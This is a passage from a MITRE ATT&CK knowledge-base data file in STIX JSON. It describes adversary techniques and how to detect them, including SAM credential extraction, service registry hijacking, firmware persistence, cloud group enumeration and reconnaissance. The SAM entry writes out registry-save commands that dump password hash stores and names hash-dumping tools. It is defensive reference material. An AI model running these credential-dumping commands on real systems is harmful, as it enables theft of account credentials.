arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Office 365", "Google Workspace", "macOS", "Linux"], "x_mitre_version": "2.5", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Application Log: Application Log Content", "Network Traffic: Network Connection Creation", "File: File Access", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "created": "2017-05-31T21:31:25.454Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1114", "external_id": "T1114"}, {"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-07-24T18:53:10.860Z", "name": "Security Account Manager", "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Ed Williams, Trustwave, SpiderLabs", "Olaf Hartong, Falcon Force"], "x_mitre_deprecated": false, "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access", "Windows Registry: Windows Registry Key Access", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "created": "2020-02-11T18:42:07.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003/002", "external_id": "T1003.002"}, {"source_name": "GitHub Creddump7", "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.", "url": "https://github.com/Neohapsis/creddump7"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f", "type": "attack-pattern", "created": "2020-10-02T16:56:49.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1596.002", "url": "https://attack.mitre.org/techniques/T1596/002"}, {"source_name": "WHOIS", "url": "https://www.whois.net/", "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:50:44.113Z", "name": "WHOIS", "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:21:51.311Z", "name": "System Firmware", "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Jean-Ian Boutin, ESET", "McAfee", "Ryan Becwar"], "x_mitre_deprecated": false, "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Firmware: Firmware Modification"], "x_mitre_defense_bypassed": ["Host intrusion prevention systems", "Anti-virus", "File monitoring"], "type": "attack-pattern", "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", "created": "2019-12-19T19:43:34.507Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1542/001", "external_id": "T1542.001"}, {"source_name": "McAfee CHIPSEC Blog", "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"}, {"source_name": "MITRE Copernicus", "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"}, {"source_name": "Intel HackingTeam UEFI Rootkit", "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"}, {"source_name": "Github CHIPSEC", "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", "url": "https://github.com/chipsec/chipsec"}, {"source_name": "About UEFI", "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", "url": "http://www.uefi.org/about"}, {"source_name": "MITRE Trustworthy Firmware Measurement", "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"}, {"source_name": "Wikipedia UEFI", "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"}, {"source_name": "Wikipedia BIOS", "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", "url": "https://en.wikipedia.org/wiki/BIOS"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", "type": "attack-pattern", "created": "2020-10-02T16:51:50.306Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1594", "url": "https://attack.mitre.org/techniques/T1594"}, {"source_name": "Comparitech Leak", "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/", "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:53:33.023Z", "name": "Search Victim-Owned Websites", "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-21T13:33:40.625Z", "name": "Cloud Groups", "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Regina Elwell", "Isif Ibrahima, Mandiant"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Command: Command Execution", "Application Log: Application Log Content", "Process: Process Creation", "Group: Group Metadata", "Group: Group Enumeration"], "type": "attack-pattern", "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", "created": "2020-02-21T21:15:33.222Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1069/003", "external_id": "T1069.003"}, {"source_name": "AWS Get Bucket ACL", "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"}, {"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"}, {"source_name": "Black Hills Red Teaming MS AD Azure, 2018", "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"}, {"source_name": "Google Cloud Identity API Documentation", "description": "Google. (n.d.). Retrieved March 16, 2021.", "url": "https://cloud.google.com/identity/docs/reference/rest"}, {"source_name": "Microsoft AZ CLI", "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"}, {"source_name": "Microsoft Msolrole", "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"}, {"source_name": "GitHub Raindance", "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", "url": "https://github.com/True-Demon/raindance"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:38.651Z", "name": "Services Registry Permissions Weakness", "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Travis Smith, Tripwire", "Matthew Demaske, Adaptforward"], "x_mitre_deprecated": false, "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Service: Service Modification", "Command: Command Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application Control"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", "created": "2020-03-13T11:42:14.444Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/011", "external_id": "T1574.011"}, {"source_name": "Tweet Registry Perms Weakness", "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", "url": "https://twitter.com/r0wdy_/status/936365549553991680"}, {"source_name": "insecure_reg_perms", "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.", "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"}, {"source_name": "Kansa Service related collectors", "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"}, {"source_name": "malware_hides_service", "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.", "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"}, {"source_name": "Autoruns for Windows", "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"}, {"source_name": "Registry Key Security", "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.", "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"}, {"source_name": "microsoft_services_registry_tree", "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.", "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"}, {"source_name": "troj_zegost", "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532", "type": "attack-pattern", "created": "2020-10-02T16:57:45.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1596.001", "url": "https://attack.mitre.org/techniques/T1596/001"}, {"source_name": "DNS Dumpster", "url": "https://dnsdumpster.com/", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."}, {"source_name": "Circl Passive DNS", "url": "https://www.circl.lu/services/passive-dns/", "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:49:13.409Z", "name": "DNS/Passive DNS", "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", "type": "attack-pattern", "created": "2020-02-20T15:35:00.025Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1499.003", "url": "https://attack.mitre.org/techniques/T1499/003"}, {"source_name": "Arbor AnnualDoSreport Jan 2018", "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."}, {"source_name": "Cisco DoSdetectNetflow", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."}], "modified": "2022-03-25T18:07:45.176Z", "name": "Application Exhaustion Flood", "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Sensor Health: Host Status", "Application Log: Application Log Content"], "x_mitre_impact_type": ["Availability"]}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1163", "url": "https://attack.mitre.org/techniques/T1163"}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", "source_name": "Startup Items"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}], "modified": "2020-01-15T16:27:32.362Z", "name": "Rc.common", "description": "During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting 